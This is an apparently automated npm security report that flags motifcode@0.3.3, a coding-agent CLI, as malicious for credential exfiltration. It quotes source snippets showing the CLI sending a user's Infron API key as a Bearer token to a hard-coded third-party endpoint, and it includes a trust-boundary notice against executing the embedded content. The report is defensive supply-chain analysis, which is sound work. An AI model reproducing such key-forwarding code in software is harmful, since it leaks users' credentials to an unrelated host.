---
canonical: "https://firewall.lpm.dev/npm/motifcode"
markdown: "https://firewall.lpm.dev/npm/motifcode/report.md"
package: "motifcode"
report_status: "published"
title: "motifcode@0.3.3 npm security report"
verdict: "malicious"
version: "0.3.3"
---

# motifcode@0.3.3 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The unrelated endpoint receives the user's API credential and can use it to access the associated account or service.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 0.3.3
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The CLI solicits an Infron API key and sends it by default to the hard-coded https://llm.onerouter.pro endpoint, which is not identified as Infron’s service or a user-configured proxy. This is credential forwarding to an unrelated host.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-11-02T05:25:32.792Z
- **Finished:** 2026-11-02T05:26:06.362Z
- **Download time:** 501 ms
- **Static scan time:** 1019 ms
- **AI review time:** 32049 ms
- **Total time:** 33570 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The CLI sends an Infron API key to a hard-coded third-party endpoint.

- **Trigger:** A user starts a CLI session with a configured key or enters an Infron key during login.

- **Impact:** The unrelated endpoint receives the user's API credential and can use it to access the associated account or service.

- **Evidence paths:** dist/motif.js, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-11-02T05:26:06.362Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The default endpoint is https://llm.onerouter.pro; key verification and model requests send the key in an Authorization Bearer header.

- **Attack narrative:** When the CLI runs, it uses https://llm.onerouter.pro by default. The login flow solicits an Infron API key and sends it to that endpoint for verification; subsequent model requests also attach it as a Bearer token. The README identifies the key as an Infron API key but does not disclose this third-party destination.

- **Rationale:** The CLI solicits an Infron API key and sends it by default to the hard-coded https://llm.onerouter.pro endpoint, which is not identified as Infron’s service or a user-configured proxy. This is credential forwarding to an unrelated host.

- **Files touched:** ~/.motif/.env

- **Network endpoints:** https://llm.onerouter.pro

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The CLI defaults to https://llm.onerouter.pro., The login prompt asks users for an Infron API key and says it will be checked against the configured endpoint., Model requests send the API key as a Bearer token to the endpoint.

- **Evidence against:** The package has no install lifecycle scripts., The README describes the package as a Motif-3 coding-agent client and documents API-key setup.

## Affected versions and remediation

This report applies to motifcode@0.3.3.

- Avoid installing motifcode@0.3.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 2. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. Critical: Credential Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

Source appears to send environment or credential material to an external endpoint.

Public source snippet (untrusted):

```javascript
L214: } else if (ch < " ") {
L215: out += "\\u" + ch.charCodeAt(0).toString(16).padStart(4, "0");
L216: } else {
...
L1835: import { dirname, join } from "node:path";
L1836: var DEFAULT_ENDPOINT = "https://llm.onerouter.pro";
L1837: var DEFAULT_MODEL = "motif/motif-3";
...
L1864: }
L1865: function defaultDotenvPaths(cwd = process.cwd()) {
L1866: return [join(cwd, ".env"), join(homedir(), ".motif", ".env")];
...
L1872: function resolveEndpointConfig(opts = {}) {
L1873: const env = opts.env ?? process.env;
L1874: const files = [];
```

### 5. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.bin -> dist/motif.js
L214: } else if (ch < " ") {
L215: out += "\\u" + ch.charCodeAt(0).toString(16).padStart(4, "0");
L216: } else {
...
L1835: import { dirname, join } from "node:path";
L1836: var DEFAULT_ENDPOINT = "https://llm.onerouter.pro";
L1837: var DEFAULT_MODEL = "motif/motif-3";
...
L1864: }
L1865: function defaultDotenvPaths(cwd = process.cwd()) {
L1866: return [join(cwd, ".env"), join(homedir(), ".motif", ".env")];
...
L1872: function resolveEndpointConfig(opts = {}) {
L1873: const env = opts.env ?? process.env;
L1874: const files = [];
```

### 6. High: Trigger Reachable Credential Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable credential exfiltration chain: manifest.bin -> dist/motif.js
L214: } else if (ch < " ") {
L215: out += "\\u" + ch.charCodeAt(0).toString(16).padStart(4, "0");
L216: } else {
...
L1835: import { dirname, join } from "node:path";
L1836: var DEFAULT_ENDPOINT = "https://llm.onerouter.pro";
L1837: var DEFAULT_MODEL = "motif/motif-3";
...
L1864: }
L1865: function defaultDotenvPaths(cwd = process.cwd()) {
L1866: return [join(cwd, ".env"), join(homedir(), ".motif", ".env")];
...
L1872: function resolveEndpointConfig(opts = {}) {
L1873: const env = opts.env ?? process.env;
L1874: const files = [];
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 85.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

The CLI defaults to https://llm.onerouter.pro.

Public source snippet (untrusted):

```javascript
import { chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs";
import { homedir } from "node:os";
import { dirname, join } from "node:path";
var DEFAULT_ENDPOINT = "https://llm.onerouter.pro";
var DEFAULT
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

The login prompt asks users for an Infron API key and says it will be checked against the configured endpoint.

Public source snippet (untrusted):

```javascript
async function loginAtTerminal(endpoint, model) {
  const path = defaultEnvPath();
  if (process.stdin.isTTY) {
    process.stdout.write(
      `Paste your Infron API key. Get one at ${KEY_PAGE} \u2014 Motif-3 is free there through September 2026.
It is checked against ${endpoint}, then saved to ${path} (readable only by you).
`
    );
  }
  const raw = await readSecret("key \u
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/motif.js
- **Public source:** [View source](<https://unpkg.com/motifcode@0.3.3/dist/motif.js>)

Model requests send the API key as a Bearer token to the endpoint.

Public source snippet (untrusted):

```javascript
async complete(req) {
    const started = Date.now();
    const url = requestUrl(req, this.endpoint);
    const body = requestBody(req, this.model);
    const headers = { "content-type": "application/json" };
    if (this.apiKey) headers["authorization"] = `Bearer ${this.apiKey}`;
    const timeout = new AbortController();
    const timer = setTimeout(() => timeout.abort(), this.requestTimeoutMs);
    const signals = [req.si
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 9
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** motifcode
- **Ecosystem:** npm
- **Version:** 0.3.3
- **License:** Apache-2.0
- **Version published:** 2026-09-22T01:39:36.840Z
- **Package first seen:** 2026-11-02T05:25:58.909Z
- **Package last seen:** 2026-11-02T05:27:32.176Z
- **Known versions:** 9
- **Latest version:** 0.4.4
- **Appeal under review:** No
- **Description:** Unofficial coding agent harness built for Motif-3: a Claude Code-style terminal session over the hosted endpoint
- **Author:** Taewoo Park
- **Keywords:** motif, motif-3, coding-agent, agent, cli, terminal, harness, llm, infron
- **Runtime engines:** node: \>=20
- **Artifact files:** 5
- **Artifact unpacked size:** 388,704 bytes
- **Artifact signatures:** 2
- **Attestations:** Yes

## References
- [HTML security report](<https://firewall.lpm.dev/npm/motifcode>)
- [Repository](<https://github.com/TaewoooPark/Motifcode.git>)
- [Homepage](<https://github.com/TaewoooPark/Motifcode#readme>)
- [Issues](<https://github.com/TaewoooPark/Motifcode/issues>)
